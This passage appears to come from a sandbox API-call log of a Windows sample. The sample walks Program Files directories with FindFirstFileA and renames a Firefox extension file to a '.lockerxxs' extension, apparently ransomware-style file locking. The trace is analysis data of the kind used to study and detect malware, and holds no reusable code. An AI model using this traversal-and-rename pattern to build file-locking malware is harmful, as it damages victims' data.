ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4ff566, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.652] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50057e, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.656] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50057e, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.658] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.663] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png.lockerxxs" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png.lockerxxs")) returned 1 [0077.670] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50057e, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.677] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4ff566, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.678] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.680] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4ff566, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.684] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4ff566, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.689] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4ff566, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.691] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.694] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc4b9120, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc4b9120, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.696] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4ff556, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.696] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.696] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.700] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x590052, dwReserved1=0x540050, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.701] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc446d00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc446d00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.702] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.702] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.703] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.708] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60ba, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.710] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.713] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490046, dwReserved1=0x45004c, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.717] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60ba, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.718] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.723] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xdc4b9120, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc4b9120, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.724] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc5053e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc5053e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.724] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.727] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbc3e2c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbc3e2c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.728] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.732] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc46ce60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc46ce60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.734] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4ff570, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.737] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.737] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.743] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4ff570, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.744] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b6c2483, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b6c2483, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4ff570, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.746] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.747] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.747] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.748] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.753] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.755] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228e0708, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.758] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc3ae780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc3ae780, 